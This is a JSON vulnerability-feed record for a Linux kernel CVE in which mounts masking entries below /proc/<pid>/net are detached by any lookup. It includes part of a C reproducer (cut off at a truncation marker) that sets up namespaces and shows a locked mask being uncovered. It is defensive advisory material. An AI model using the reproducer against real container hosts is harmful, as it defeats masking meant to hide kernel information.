{"id":"CVE-2026-99841","aliases":[],"cve":{"records":[{"id":"CVE-2026-99841","source":"Linux","state":"PUBLISHED","reasons":[],"replacements":[],"disputed":false,"unsupportedWhenAssigned":false,"reserved":"2026-09-25T10:25:14.437Z","published":"2026-11-30T13:17:33.035Z","modified":"2026-11-30T13:17:33.035Z"}],"publishers":[{"name":"Linux","role":"CNA","organizationId":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","modified":"2026-11-30T13:17:33.035Z"}],"references":[{"url":"https://git.kernel.org/stable/c/a596be2ec595c51c8aaf04eea9bd9ccb1959284c","tags":[],"source":"Linux"},{"url":"https://git.kernel.org/stable/c/141294337bea78c9adacc0555273e6aca2f8eb74","tags":[],"source":"Linux"},{"url":"https://git.kernel.org/stable/c/624835b96e86f39708c680ba99dfe5d4bf1c819f","tags":[],"source":"Linux"},{"url":"https://git.kernel.org/stable/c/ab4efbf1f0d64763f2ba48a429c90306fecf6dcd","tags":[],"source":"Linux"},{"url":"https://git.kernel.org/stable/c/e83abe6bb7fea184518973773eff55301bd460f9","tags":[],"source":"Linux"},{"url":"https://git.kernel.org/stable/c/594a389f90686159f4a2198f370b43fcec01fdec","tags":[],"source":"Linux"},{"url":"https://git.kernel.org/stable/c/aece5f74f1e4a112f52adcc2af9b888ab2072562","tags":[],"source":"Linux"},{"url":"https://git.kernel.org/stable/c/eeecea75ece2ba894bee4d3c53ed2e40abda8f0e","tags":[],"source":"Linux"}],"weaknesses":[],"applicability":[{"source":"Linux","statements":[{"nodes":[{"operator":"OR","negate":false,"cpeMatch":[{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"5.10.275"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"5.15.226"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"6.1.193"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"6.6.163"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"6.12.119"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"6.18.63"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"7.3.4"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"5.0","versionEndExcluding":"7.4-rc1"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"4.19.29"},{"vulnerable":true,"criteria":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","versionStartIncluding":"4.20.16"}]}]}]}],"prioritization":[]},"title":"proc: don't let an entry below /proc/<pid>/net be a mountpoint","titleSource":"Linux","descriptionSource":"Linux","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nproc: don't let an entry below /proc/<pid>/net be a mountpoint\n\nproc_net_d_revalidate() always returns 0 so that a dentry below\n/proc/<pid>/net is never reused after setns(). So lookup_fast() will end\nup calling d_invalidate(), which unhashes the dentry and detaches every\nmount on it, in every mount namespace; including locked mounts.\n\nThen lookup_slow() creates a new dentry for the same entry. So a mount\non /proc/<pid>/net/dev succeeds and goes away with the first lookup of\nthe name by anybody with search permission on the directory. Given it's\n0555 that's everyone's grandma. A mask on such a name hides nothing as\nthe repro below shows.\n\nTreat those entries like I did fd/, fdinfo/ and map_files/ and refuse to\nmount on them in the first place. It's nonsensical theater otherwise:\n\n  procnet net/dev stat\n\n  // SPDX-License-Identifier: GPL-2.0\n  /*\n   * procnet: cover an entry of /proc/<pid>/ with a bind mount, lock the mount,\n   * then look the name up.\n   *\n   * The first task stays alive, <pid> is its pid. The \"container\" task has its\n   * own mount namespace. There it binds a mask on /proc/<pid>/<name>. It drops to\n   * uid 1000 and enters a new user namespace with a new mount namespace, so that\n   * the mask is locked. Then one task looks the name up:\n   *\n   *   stat    the container calls stat() on the name\n   *   umount  the container calls umount2(MNT_DETACH) on the name\n   *   nobody  a task with uid 65534 in the first namespaces calls stat()\n   *\n   * The container lists its mounts before and after (that does not look the\n   * name up) and then reads the name. MASK is fine. Anything else means that\n   * the lookup uncovered the entry.\n   *\n   * usage: procnet <name> stat|umount|nobody\n   *   name \"status\" is the control, \"net/dev\" is a file below net, \"net/stat\" is\n   *   a directory below net\n   */\n  #define _GNU_SOURCE\n  #include <dirent.h>\n  #include <errno.h>\n  #include <fcntl.h>\n  #include <sched.h>\n  #include <stdio.h>\n  #include <stdlib.h>\n  #include <string.h>\n  #include <time.h>\n  #include <unistd.h>\n  #include <sys/mount.h>\n  #include <sys/prctl.h>\n  #include <sys/stat.h>\n  #include <sys/wait.h>\n\n  #define WORK \"/run/pn\"\n\n  static char target[128];\n\n  static void die(const char *what)\n  {\n  \tfprintf(stderr, \"FATAL %s: %s\\n\", what, strerror(errno));\n  \texit(2);\n  }\n\n  static void write_str(const char *path, const char *s, int flags)\n  {\n  \tint fd = open(path, O_WRONLY | flags, 0644);\n\n  \tif (fd < 0 || write(fd, s, strlen(s)) < 0)\n  \t\tdie(path);\n  \tclose(fd);\n  }\n\n  /* list the mounts below /proc without a lookup of the target */\n  static void mounts(const char *when)\n  {\n  \tchar line[512];\n  \tFILE *f = fopen(\"/proc/self/mountinfo\", \"r\");\n  \tint n = 0;\n\n  \tif (!f)\n  \t\tdie(\"mountinfo\");\n  \twhile (fgets(line, sizeof(line), f)) {\n  \t\tif (!strstr(line, \" /proc/\"))\n  \t\t\tcontinue;\n  \t\tprintf(\"container: %s: mount: %s\", when, line);\n  \t\tn++;\n  \t}\n  \tfclose(f);\n  \tif (!n)\n  \t\tprintf(\"container: %s: nothing is mounted below /proc\\n\", when);\n  }\n\n  static void show(const char *when, int isdir)\n  {\n  \tchar buf[48] = \"\";\n  \tint fd;\n\n  \tif (isdir) {\n  \t\tstruct dirent *de;\n  \t\tDIR *d = opendir(target);\n  \t\tint hit = 0;\n\n  \t\tif (!d) {\n  \t\t\tprintf(\"container: %s: opendir(%s) = %s\\n\", when, target, strerror(errno));\n  \t\t\treturn;\n  \t\t}\n  \t\tprintf(\"container: %s: readdir(%s) =\", when, target);\n  \t\twhile ((de = readdir(d))) {\n  \t\t\tif (de->d_name[0] == '.')\n  \t\t\t\tcontinue;\n  \t\t\tprintf(\" %s\", de->d_name);\n  \t\t\thit |= strcmp(de->d_name, \"MASK\");\n  \t\t}\n  \t\tclosedir(d);\n  \t\tprintf(\"%s\\n\", hit ? \"   <-- HIT\" : \"\");\n  \t\treturn;\n  \t}\n  \tfd = open(target, O_RDONLY);\n  \tif (fd < 0) {\n  \t\tprintf(\"container: %s: open(%s) = %s\\n\", when, target, strerror(errno));\n  \t\treturn;\n  \t}\n  \tif (read(fd, buf, sizeof(buf) - 1) < 0)\n  \t\tdie(\"read\");\n  \tclose(fd);\n  \tif (strchr(buf, '\\n'))\n  \t\t*strchr(buf, '\\n') = 0;\n  \tprintf(\"container: %s: read(%s) = \\\"%s\\\"%s\\n\", when\n---truncated---","score":null,"severity":"unknown","published":"2026-11-30T13:17:33.035Z","modified":"2026-11-30T13:17:33.035Z","withdrawn":false,"knownExploited":false,"affected":[],"products":[{"vendor":"Linux","name":"Linux","platforms":[],"versions":[{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"a596be2ec595c51c8aaf04eea9bd9ccb1959284c","versionType":"git"},{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"141294337bea78c9adacc0555273e6aca2f8eb74","versionType":"git"},{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"624835b96e86f39708c680ba99dfe5d4bf1c819f","versionType":"git"},{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"ab4efbf1f0d64763f2ba48a429c90306fecf6dcd","versionType":"git"},{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"e83abe6bb7fea184518973773eff55301bd460f9","versionType":"git"},{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"594a389f90686159f4a2198f370b43fcec01fdec","versionType":"git"},{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"aece5f74f1e4a112f52adcc2af9b888ab2072562","versionType":"git"},{"version":"1fde6f21d90f8ba5da3cb9c54ca991ed72696c43","status":"affected","lessThan":"eeecea75ece2ba894bee4d3c53ed2e40abda8f0e","versionType":"git"},{"version":"845d73be1b4cba6c353e99f79eff0f17e0d7c1d8","status":"affected","versionType":"git"},{"version":"84f5605a34a21fca82460648560d5135795389d7","status":"affected","versionType":"git"},{"version":"4.19.29","status":"affected","lessThan":"4.20","versionType":"semver"},{"version":"4.20.16","status":"affected","lessThan":"4.21","versionType":"semver"}],"defaultStatus":"unaffected","cpes":[],"source":"Linux","url":"https://www.cve.org/CVERecord?id=CVE-2026-99841"},{"vendor":"Linux","name":"Linux","platforms":[],"versions":[{"version":"5.0","status":"affected"},{"version":"0","status":"unaffected","lessThan":"5.0","versionType":"semver"},{"version":"5.10.275","status":"unaffected","lessThanOrEqual":"5.10.*","versionType":"semver"},{"version":"5.15.226","status":"unaffected","lessThanOrEqual":"5.15.*","versionType":"semver"},{"version":"6.1.193","status":"unaffected","lessThanOrEqual":"6.1.*","versionType":"semver"},{"version":"6.6.163","status":"unaffected","lessThanOrEqual":"6.6.*","versionType":"semver"},{"version":"6.12.119","status":"unaffected","lessThanOrEqual":"6.12.*","versionType":"semver"},{"version":"6.18.63","status":"unaffected","lessThanOrEqual":"6.18.*","versionType":"semver"},{"version":"7.3.4","status":"unaffected","lessThanOrEqual":"7.3.*","versionType":"semver"},{"version":"7.4-rc1","status":"unaffected","lessThanOrEqual":"*","versionType":"original_commit_for_fix"}],"defaultStatus":"affected","cpes":[],"source":"Linux","url":"https://www.cve.org/CVERecord?id=CVE-2026-99841"}],"remediation":[],"references":["https://git.kernel.org/stable/c/a596be2ec595c51c8aaf04eea9bd9ccb1959284c","https://git.kernel.org/stable/c/141294337bea78c9adacc0555273e6aca2f8eb74","https://git.kernel.org/stable/c/624835b96e86f39708c680ba99dfe5d4bf1c819f","https://git.kernel.org/stable/c/ab4efbf1f0d64763f2ba48a429c90306fecf6dcd","https://git.kernel.org/stable/c/e83abe6bb7fea184518973773eff55301bd460f9","https://git.kernel.org/stable/c/594a389f90686159f4a2198f370b43fcec01fdec","https://git.kernel.org/stable/c/aece5f74f1e4a112f52adcc2af9b888ab2072562","https://git.kernel.org/stable/c/eeecea75ece2ba894bee4d3c53ed2e40abda8f0e"],"sources":[{"name":"CVE","id":"CVE-2026-99841","modified":"2026-11-30T13:17:33.035Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-99841"}],"assessments":[],"sourceAffected":[],"observedAt":"2026-11-30T13:46:46.886Z","kev":{"status":"not-listed","checkedAt":"2026-11-30T22:55:31.926Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[],"aiSummary":null}